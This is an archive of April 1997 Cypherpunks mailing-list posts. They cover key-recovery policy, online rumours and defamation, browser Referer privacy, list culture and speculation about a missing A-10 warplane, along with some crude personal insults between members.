France, Israel and Russia recently imposed import and domestic 
use restrictions. Several Asian, South American and African 
countries have had similar restrictions in place for years. Others
may impose them as strong cryptography proliferates.

For many overseas, as well as here, the logic of the need to 
balance business imperatives with public safety concerns argues 
for key recovery. The European Union and other confederations 
are considering key recovery-based KMIs. The world's major 
standards bodies are designing future standards so that key 
recovery can be accommodated.

International standards and protocols for key recovery may prove 
essential to hand off national restrictions on strong encryption, to 
promote a broad export market for cryptography and to establish 
a key management infrastructure acceptable for general international 
use. This would accelerate the realization of the promise of information 
technology, and that would be in everyone's best interest.

Working in partnership, government and industry together need to 
lay the foundation necessary to sustain and strengthen information 
security for America. I wish to emphasize that the infrastructure for 
key management will be built by industry as a commercial venture. 
This task is huge. Collaboration among many partners will be 
essential if we are to establish a KMI that promotes the use of 
encryption worldwide.

-----

For full talk:

   http://jya.com/nsagak.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 09:48:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: PaleoAnthro: Mail List Life Cycle
Message-ID: <v0302093eaf76b98558bf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Authentication-Warning: list.srv.cis.pitt.edu: majordom set sender to
owner-paleoanthro using -f
Date: Sun, 13 Apr 1997 01:06:22 -0400 (EDT)
From: Matt Fraser <mattf+@pitt.edu>
X-Sender: mattf@unixs2.cis.pitt.edu
To: Paleoanthropology List <PaleoAnthro@list.pitt.edu>
Subject: PaleoAnthro: Mail List Life Cycle
MIME-Version: 1.0
Sender: owner-paleoanthro@list.pitt.edu
Precedence: bulk
Reply-To: PaleoAnthro@list.pitt.edu


Hey All,

Dug this up from another list that I've been on for a few years now.
Thought it might be of interest.

Matt

-----------

 THE NATURAL LIFE CYCLE OF MAILING LISTS

 Every list seems to go through the same cycle:

 1.  Initial enthusiasm (people introduce themselves, and gush alot about
     how wonderful it is to find kindred souls).

 2.  Evangelism (people moan about how few folks are posting to the list,
     and brainstorm recruitment strategies).

 3.  Growth (more and more people join, more and more lengthy threads
     develop, occasional off-topic threads pop up).

 4.  Community (lots of threads, some more relevant than others; lots of
     information and advice is exchanged; experts help other experts as
     well as less experienced colleagues; friendships develop; people tease
     each other; newcomers are welcomed with generosity and patience;
     everyone -- newbie and expert alike -- feels comfortable asking
     questions, suggesting answers, and sharing opinions).

 5.  Discomfort with diversity (the number of messages increases
     dramatically; not every thread is fascinating to every reader; people
     start complaining about the signal-to-noise ratio; person 1 threatens
     to quit if *other* people don't limit discussion to person 1's pet
     topic; person 2 agrees with person 1; person 3 tells 1 & 2 to lighten
     up; more bandwidth is wasted complaining about off-topic threads than
     is used for the threads themselves; everyone gets annoyed).

 6a. Smug complacency and stagnation (the purists flame everyone who asks
     an 'old' question or responds with humor to a serious post; newbies
     are rebuffed; traffic drops to a doze-producing level of a few minor
     issues; all interesting discussions happen by private email and are
     limited to a few participants; the purists spend lots of time
     self-righteously congratulating each other on keeping off-topic
     threads off the list).
 OR

 6b. Maturity (a few people quit in a huff; the rest of the participants
     stay near stage 4, with stage 5 popping up briefly every few weeks;
     many people wear out their second or third 'delete' key, but the list
     lives contentedly ever after)
_____________________________
Robert Warner
rwarner@electrotex.com
I speak but for myself,....
_____________________________

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 09:49:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: A Rumor and Reputation Paradox...
Message-ID: <v03020945af76bb8cd2a1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Here's something from cyberia which talks about the persistence of
anti-reputation memes even in the presence of perfectly contradictory
information.

We've all heard about apocryphal stories, the $50 Corvette and the like,
but here's a case which has financial reprocussions. It reminds me of the
"satanism" claims about the Procter and Gamble moon and stars corporate
symbol a while back.

My first attempt at tackling this would be some kind of distributed
reputation system, but it seems to me that if someone I trusted said
something bad about Mr. Hilfinger, in the absence of any other respectable
data, I would believe them. I guess that means the need for reputation
"rental", like what financial intermediaries do, and also what we now call
journalism, will increase, not deminish, in geodesic markets.

Cheers,
Bob Hettinga


--- begin forwarded text


Mime-Version: 1.0
Date:         Sat, 12 Apr 1997 23:58:30 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Larry Kolodney <lkk@WORLD.STD.COM>
Subject:      Re: America Online and liability... the Horror
To:           CYBERIA-L@LISTSERV.AOL.COM

>Recall the libertarian maxim that the best response to
>offensive speech is more speech.


To anyone who actually believes this bit of 18th century enlightenment
mythology, I would recommend the article "Dirty Linen: Why are they saying
all those mean things about Tommy Hilfiger?" by Lakshmi Gopalkrishnan in
the current edition of Slate
(http://www.slate.com/TangledWeb/97-04-10/TangledWeb.asp).  In essence, the
article documents a number of vicious rumours which have been spread on the
internet about the clothing designer Tommy Hilfiger and allegedly racist
comments that he made on the Ophrah Winfrey show.

Not withstanding the fact that 1) Mr. Hilfiger never appeared on the
Winfrey show and never made the statements in question, and 2) Hilfiger Co.
has engaged in an online P.R. campaign to counter these rumours, they are
persistent and widespread.

According to the article:

BEGIN QUOTE
        A spotty paraphrase of the allegations appeared in a Nov. 13, 1996,
article in the Philippine newspaper Isyu. Titled "Eat Your Clothes, Mr.
Racist Designer," the piece has been excerpted on the Official Philippine
Anti-Tommy Hilfiger site. The writer tiptoes around the charges, but is
markedly less tentative when expressing her outrage. "I am shocked," she
fulminates. "If [Hilfiger] really did insult my people, you can bet I will
do every single thing I can in my power to make sure that his label never
makes it here."

       Forums ranging from soc.culture.african.american to talk.rumors and
Streetsound have been thick with anti-Tommy talk of late. When rumors of
the designer's alleged racist outbursts filtered into the mainstream media,
they were debunked by Time magazine, USA Today, and the Washington Post.
But that didn't stem angry calls for a boycott of his products. Nor did the
official response of the Hilfiger Corp. Claiming to have become aware of
the brouhaha only recently, the company has posted a memo on various
anti-Tommy sites detailing the "simple and incontrovertible facts":
Hilfiger has never been on Oprah. Hilfiger has never been on Style. Far
from wanting to limit his appeal, Hilfiger is on record about wanting to
cross ethnic lines to appeal to everyone everywhere.

***

In theory, the Web should be as good at eradicating legends as it is at
cultivating them, but in practice, denials are quickly buried by new
messages and updates. A week ago, Hilfiger's official response clogged
newsgroup indexes. Today, it has been swamped by even newer anti-Tommy
postings and returning favorites.

END QUOTE


Lest you think that such rumours are just a minor irritant and part of
doing business, consider that, according to the article, "In the late
1980s, purported connections with the Ku Klux Klan so damaged the
reputation of athletic-wear
manufacturer Troop (whose name was rumored to be a Ku Klux Klan acronym for
"To Rule Over Oppressed People") that it was forced into bankruptcy."

So here we have vicious rumours being spread about a company with millions
of public relations dollars at its disposal, and it is helpless in the face
of a rumour that has not one grain of truth to it.

After reading this account, how could anyone seriously argue beleive
individuals such as the hapless Mr. Zeran have the slightest ability to
counter defamation with "more speech" over the internet?  (Note that Mr.
Zeran did not even have an internet account!)

Larry Kolodney

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 13 Apr 1997 14:00:08 -0700 (PDT)
To: Rich Graves <llurch@stanford.edu>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970412224402.009d66d0@mail.teleport.com>
Message-ID: <3.0.1.32.19970413134238.00655f48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:41 AM 4/13/97 -0700, Rich Graves wrote:
>Or blame it on the client. Microsoft handled the utter absence of security
>in their WFW/Win95 SMB implementation by claiming, falsely, that Samba was
>sending "illegal commands." After a thorough public thrashing, the Win95
>product manager eventually changed that to "specific networking commands,"
>with no retraction and no indication that the document had changed.

Heh.  Sending illegal or unexpected commands to a program is _the_
standard way to break security; if they can't defend against that, they're
hosed.
I'd reserve the phrase "utter absence of security" for systems that
let you ignore the permissions by just asking nicely :-)

><URL:http://www.research.microsoft.com/research/os/main.htm>

Interesting paper.  I was surprised it didn't explicitly mention Plan 9
when it was discussing other operating systems, though mentioning Inferno 
does include that indirectly.  It also didn't mention security -
it talked about the kind of world where you can just buy a computer,
turn it on, plug it in, and it'll find whatever resources it wants
in the One Big Operating System.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 13 Apr 1997 12:16:24 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <XP545D3w165w@bwalk.dm.com>
Message-ID: <199704131915.OAA04079@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> >
> > [this is only of interest to UNIX(tm) users. Windows users, please ignore]
> 
> I suspect that a typical Windows user with a POP account usually has a unix
> account and a home directory (although its shell may be /etc/false or some
> such); he may be able to ftp to it and create a .forward file pointing
> to procmail, who will look at the incoming mail before passing on to his
> PPP. I don't really know shit about this, so don't flame me if this
> doesn't work. :-)

If the user shell is /bin/false, most likely the .forward file will not
be able to invoke any programs.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Apr 1997 12:00:14 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <199704131736.MAA02875@manifold.algebra.com>
Message-ID: <XP545D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
>
> [this is only of interest to UNIX(tm) users. Windows users, please ignore]

I suspect that a typical Windows user with a POP account usually has a unix
account and a home directory (although its shell may be /etc/false or some
such); he may be able to ftp to it and create a .forward file pointing
to procmail, who will look at the incoming mail before passing on to his
PPP. I don't really know shit about this, so don't flame me if this
doesn't work. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 13 Apr 1997 15:45:23 -0700 (PDT)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: APRIL BAY AREA CYPHERPUNKS MEETING
Message-ID: <199704132245.PAA28164@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:32 4/10/97 -0700, Bill Stewart wrote:
>The April Bay Area Cypherpunks Meeting will be held jointly with the
>Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach.   
>( www.macdude.org , http://www.macdude.org/aprbeach.htm for event
>description.)
>Among other things, John Randolph was planning to do a 
>Great Wall of Fire with his leftover moving boxes, and various
>other cypherpunks are part of the Glorious Clan, which is a generally
>silly organization.  

While I couldn't make it this time, I'd be interested in showing up for the
next Bay area meeting if somebody could provide transportation to/from the
airport/train-station/bus-station.  A place to crash for a night would be a
big plus.

Anyone volunteering to help will get "Jim Bell" autographs.  Might be worth
something some day...   ("Get them while I can still give them"!)


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 14:51:29 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <v03020945af76bb8cd2a1@[139.167.130.246]>
Message-ID: <3351558E.C71@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> 
> Here's something from cyberia which talks about the persistence of
> anti-reputation memes even in the presence of perfectly contradictory
> information.

> Subject:      Re: America Online and liability... the Horror
> To:           CYBERIA-L@LISTSERV.AOL.COM
> 
>   In essence, the
> article documents a number of vicious rumours which have been spread on the
> internet about the clothing designer Tommy Hilfiger and allegedly racist
> comments that he made on the Ophrah Winfrey show.
> 
> Not withstanding the fact that 1) Mr. Hilfiger never appeared on the
> Winfrey show and never made the statements in question, and 2) Hilfiger Co.
> has engaged in an online P.R. campaign to counter these rumours, they are
> persistent and widespread.

  I heard that the Hifiger's comments were actually made on the eca$h
list, which regularly contains posts suggesting euthenasia for the 
elderly and the disabled.
  Of course, my source was posting from whitehouse.gov...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Apr 1997 13:30:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <v03007802af76dd429c27@[207.167.93.63]>
Message-ID: <HP945D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> be it. Anti-free speechers, including Larry Kolodney and including those
> who support libel and slander laws, would have us believe that "false
> speech" is not as protected as "true speech" is. Foo on that.)

That from a vocal supporter of Cocksucker John Gilmore's plug-pulling...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 13 Apr 1997 14:30:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Competitive Betrayal
Message-ID: <1.5.4.32.19970413212942.0073ebb0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Weekend FiTi reports on "the enemy within" corporations
and the growth of "competitive intelligence" as cold war 
spy tactics are adapted to big business. Excerpts:

Nobody in the surveillance business really knows how 
much commercial spying goes on. A lot of the eavesdropping 
is done, perfectly legally, by managers listening in to their 
own staff.

It is, of course, in the interest of equipment suppliers and
corporate consultants to maximise the dangers that companies
face. "All companies are paranoid about their own security,"
said the spokesman of one well-known British multinational.
"They don't seem to mind paying consultants to tell them
things they know already."

Yet all agree that the field of "competitive intelligence",
as it is politely termed, is an expanding one. The
privatisation of whole economies, the deregulation of
monopoly markets, the globalisation of business, the spread
of foreign investment and contested takeovers, the
proliferation of technology and the sheer volume of
information - all have made companies more aggressive, and
more vulnerable.

A consultant called in to investigate a theft may find
himself pitted against another. In order to sanitise the
business, a professional association called the Society of
Competitive Intelligence Professionals has been set up.

Its 5,000 members are meant to follow a code which vaguely
urges them to obey the law, identify themselves when asking
questions, and avoid "unethical practices".
SCIP is influenced by the Association of Former Intelligence
Officers, a group described as "very powerful" by Andre
Pienaar, a young manager at the corporate investigators
Kroll Associates who has written a doctoral thesis on
business and intelligence.

"Company information has become very valuable," he said,
"more valuable than physical assets."

Protecting that information is becoming ever more difficult.
It is not just the tappers, buggers and hackers who are the
problem, however. The problem is the loyalty - or lack of it
- of employees in a world of short contracts, rapid turnover
and big inducements.

Tony McStravick, former acting head of the Metropolitan
police Fraud Squad in London, has worked for Kroll and is
now at Control Risks Group. "It all comes down to management
in the end," he said. "Companies have lost the hearts and
minds of their employees because of performance pay,
delayering, downsizing."

"You have to have a culture of honesty, from the top down.
You must find the balance between maximising profits and
being fair and honest. A lot of the time, companies forget
they are dealing with human beings."

-----

For full article:

   http://jya.com/tew.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 13 Apr 1997 18:22:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704140031.RAA12600@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim `C' Mayonnaise's obsessive masturbation has lead to advanced degree of 
blindness and hairy palms.

             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Tim `C' Mayonnaise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 17:09:27 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: APRIL BAY AREA CYPHERPUNKS MEETING
In-Reply-To: <199704132245.PAA28164@mail.pacifier.com>
Message-ID: <33516E92.36C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell wrote:
> 
> At 02:32 4/10/97 -0700, Bill Stewart wrote:
> >The April Bay Area Cypherpunks Meeting will be held jointly with the
> >Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach.

> While I couldn't make it this time, I'd be interested in showing up for the
> next Bay area meeting if somebody could provide transportation to/from the
> airport/train-station/bus-station. 

Jim,
 Given some of the comments on the list regarding your unsuitability
as a 'spokesperson' for the CypherPunks, I would make sure that you
specify you are not looking for a 'one-way' ride.

> Anyone volunteering to help will get "Jim Bell" autographs.
>  ("Get them while I can still give them"!)

  Is 'Big Louie' working for the IRS, now? (He does arms. 'Little
Louie' does kneecaps.)
  
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 13 Apr 1997 17:05:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: http:--www.cnn.com-US-9704-13-mcveigh.trial-
Message-ID: <199704132314.SAA01027@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   navigation 
   
   Infoseek/BigYellow/Pathfinder/Warner Bros. 
   
   
   Main banner Samsung. Meeting the challenge. 
   
     rule
     
     
              MCVEIGH CASE COULD SET PRECEDENT FOR JURY ANONYMITY
                                       
      jurors.sketch
     
     April 13, 1997
     Web posted at: 4:01 p.m. EDT (2001 GMT)
     
     From Correspondent Susan Candiotti
     
     DENVER (CNN) -- Unless they decide to tell the world, the jurors who
     decide the fate of accused bomber Timothy McVeigh may remain forever
     anonymous.
     
     Trial Judge Richard Matsch assigned each jury candidate a number,
     and permanently sealed their records. But he has gone even further
     to protect their identities, ordering a partition to hide the jury
     box from the view of most courtroom spectators.
     
     For example, reporters must sit on one side of the court, where it's
     impossible to see behind the wall. matsch
     
     Georgetown University law professor Paul Rothstein says Matsch "has
     gone a little overboard."
     
     Unless there is evidence of danger or threat to the jurors, he says,
     "the presumption should be for an open trial in every respect,
     including being able to view the jurors."
     
     But Andrew Wolfberg, who served on the jury for the trial of Eric
     and Lyle Menendez, says protecting jurors' identities in the
     Oklahoma City bombing trial is important.
     
     "I think with this trial, there involved the death of many people
     ... which can in some way cause the jury to feel they have something
     to fear from this defendant," he said.
     
     In high-profile cases such as the O.J. Simpson trial, jurors' names
     are protected until the trial is over. And where TV coverage is
     allowed, faces are not shown on camera. mcveigh.jury
     
     Despite the secrecy, once the trial was over, some Simpson trial
     jurors hired agents, wrote books and hit the talk show circuit.
     
     Despite Matsch's caution and concern, some observers say he might be
     setting a precedent.
     
     "It's turning our system of justice upside down," says Jane Kirtley
     of the Reporters Committee for Freedom of the Press. "Because what
     it means is that the public really has no idea of who is sitting in
     judgment of people accused of heinous crimes."
     
     Decisions like Matsch's, opponents like Kirtley say, deny the
     public's right to "know" who sits on a high-profile jury. OKC Trial
     Special Section 
     
     T R A N S C R I P T S  /  O V E R V I E W  /  T H E   P L A Y E R S
     T H E   B O M B I N G  /  C N N   S T O R I E S  /   L I N K S rule
     What You Think Tell us what you think!
     
     You said it... [INLINE] Samsung. Meeting the challenge. rule
     
   
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 13 Apr 1997 20:06:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
Message-ID: <199704140306.UAA02271@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


The story thus far:
  An United States A-10 warplane on a live bombing run breaks formation
and spends the next hour flying toward Colorado.
  Just short of Vail, it changes course, headed toward Denver, and then
shortly thereafter changes direction, heading south, only to reverse
its course, and once again head toward Denver/Vail.

  During this whole time, the Air Force contends that no radio contact
was made, nor did they know where the plane was.
  They offer no explaination except an extremely weak claim that perhaps
the pilot was suicidal or stressed.

  The bottom line is that the media seems to be totally ignoring the
fact that even the military's shakey explaination of these events
suggests that the American public may have been in great danger from
a mentally unbalanced Air Force pilot in control of a war-machine
capable of creating mass destruction upon an American city.

  Even the least bit of scrutiny of the trail followed by the A-10
suggests a pilot who had a destination in mind, had to take evasive
action upon nearing his target, and then doubled back toward his
original target.
  And the best explaination that the military can provide is that a
U.S. warplane capable of doing major damage to a U.S. city just flew
around for over an hour, with no way for the military to prevent it
from bombing our citizens.
  The military tells us that a warplane approached some of the most
sensitive military installations in the country, without being noticed
or intercepted.

  The fact is, the military is in a no-win situation, whether they
reveal that U.S. citizens were potentially endangered by the military's
lack of control over U.S. warplanes, or reveal that they were forced to
intercept and shoot down a U.S. warplane intending to attack a U.S.
populated area.

  I have no doubt that the military, given time, will come up with a
cover story which contains "plausibal deniability," etc., etc.
  The big mystery is why the media seems incapable of even raising
questions probing at the obvious holes in the government's irrational
explainations of this affair.

TruthMonger
http://cnn.com

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 13 Apr 1997 22:07:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
Message-ID: <199704140507.WAA05040@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
> > The story thus far:
> >   An United States A-10 warplane on a live bombing run breaks formation
> > and spends the next hour flying toward Colorado.
> >   And the best explaination that the military can provide is that a
> > U.S. warplane capable of doing major damage to a U.S. city just flew
> > around for over an hour, with no way for the military to prevent it
> > from bombing our citizens.
> >   The military tells us that a warplane approached some of the most
> > sensitive military installations in the country, without being noticed
> > or intercepted.
> 
>         Well, Considering that A-10's can fly comfortably in "ground clutter",
> or "trees" as civilians call them, it isn't suprising to me that they
> couldn't track the fucker, and it is my firm belief that if the pilot
> had wanted to dump his paylod over denver, coffin makers would be on overtime
> right now.

  So you are basically claiming that Jim Bell's AP system opens the door
for U.S. military personnel to participate, given the fact that U.S.
defences are incapable of screening the mentally unstable from having
possession of the latest in hi-tech armaments, or stopping them if they
should choose to pick up a little cash on the side?

  Does your "firm belief" account for the fact that, upon changing
direction near the end of the flight, as if in a bombing run for
Denver or Vail, the A-10 suddenly reversed direction, as if taking
evasive action, and then circled back to resume it's run, before
disappearing?

  Even giving the least threatening scenario, that the pilot went
for an innocent joyride and ran out of gas, it astounds me that
the media could just wholeheartedly embrace the military's limp
explainations of the fact that an armed warplane could wander at
will through some of the most sensitive military areas in the
country, and not bring this to the public's attention.
  Perhaps the bars and lounges that the news media personnel
relaxed in during Desert Storm, while feeding the public the 
military's press releases verbatim were disassembled and moved 
to the U.S.

  It would be a shame if the media raised troubling questions in
regard to this affair and the Pentagon raised the price of drinks
in the media lounge.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 13 Apr 1997 22:13:34 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <3351BCD2.218886E6@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> Thanks for the pointer to MS's security site; there's a lot of
> good information there.
> 
> I was highly unimpressed with Microsoft's Response:
>         "It's Not A Security Flaw"
>         "But Everybody Important Works Around It"
>         "And we're fixing it in the next release"
> without providing much detail about what's going on.
> It does indicate what to look into to avoid it when writing web pages,
> but it doesn't say how to avoid it when entering your credit card
> number into a web page, or what to look for as a non-programmer user.

I basically agree with Microsoft.  It works as specified, and everyone
should know that handling sensitive form posts via GET is a bad idea.

That said, there is certainly some merit to the argument that HTTP's
"Referer:" is a privacy violation.  Therefore, we've added a preference
to Communicator that allows you to turn it off.  Because of the late
date there will be no UI, but if you are concerned about it, you can go
into your prefs.js file (preferences.js on unix) and turn it off by
adding the line:

user_pref("network.sendRefererHeader", false);

This will be available starting in beta 4.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 19:32:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Monopoly as damage...
In-Reply-To: <v0302093caf76a0b78618@[139.167.130.246]>
Message-ID: <v03020975af774183c3d9@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:20 pm -0400 on 4/13/97, Timothy C. May wrote:


> >Hettinga's paraphrase of Gilmore's Law:
> >
> >"A geodesic economy sees monopoly as damage and routes around it."
> >
>
> But generally not accurate. The Hettinga version, not the Gilmore version.

Utterly inaccurate. We don't have a geodesic economy. Yet. :-).

> If one defines monopoly in the sense apparently intended here, meaning that
> Microsoft, Intel, and Cisco are "monopolies" (each has about a consistent
> 70-80% market share in their primary markets), there is very little real
> evidence that a "geodesic economy" (whatever _that_ is) treats these
> monopolies as damage and routes around them.

There is very little evidence for "geodesic economies", in general.
"Geodesic markets", like "Crypto Anarchy", or the "Information
Superhighway", is just a handy hypothetical folks people made up for
entertainment some boring afternoon. :-).

As to whether Wintel (not now, but soon) and Cisco (probably not ever) are
monopolies, and as to whether that will matter, I'll leave that as an
exercise for the reader.

No, Virginia, I don't believe in path dependence, either. Monoculture,
however, happens every once in a while, particularly in markets mapped to
industrial communications hierarchies. BillG is probably the last tycoon,
in that regard.

> There are much better models for why such monopolies eventually reach
> certain limits, or face new competitors, or otherwise decline.

Seeing as there no models for things like "Crypto Anarchy", or "Geodesic
Markets", which have no data yet to model, the above comment is
tautologous. Doesn't seem to stop either one of us from making
prognostications about them, however...

> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."

"Market controls, including monopolistic practices, aren't even rent-a-cops
in a geodesic marketplace."

Whatever *that* means.

;-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 13 Apr 1997 21:21:10 -0700 (PDT)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <199704140306.UAA02271@fat.doobie.com>
Message-ID: <199704140344.WAA00320@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> The story thus far:
>   An United States A-10 warplane on a live bombing run breaks formation
> and spends the next hour flying toward Colorado.
>   And the best explaination that the military can provide is that a
> U.S. warplane capable of doing major damage to a U.S. city just flew
> around for over an hour, with no way for the military to prevent it
> from bombing our citizens.
>   The military tells us that a warplane approached some of the most
> sensitive military installations in the country, without being noticed
> or intercepted.

	Well, Considering that A-10's can fly comfortably in "ground clutter",
or "trees" as civilians call them, it isn't suprising to me that they 
couldn't track the fucker, and it is my firm belief that if the pilot 
had wanted to dump his paylod over denver, coffin makers would be on overtime
right now. 

> TruthMonger
> http://cnn.com
> 
> -- 
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html

	I don't believe this was Toto, too coherent. 

	Do they have a Cammo colored crayola in the new colors?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Sun, 13 Apr 1997 20:57:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bombing Denver / Why has no one ever seen Jim Bell and Capt. Buttons together?
Message-ID: <03574662704169@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain





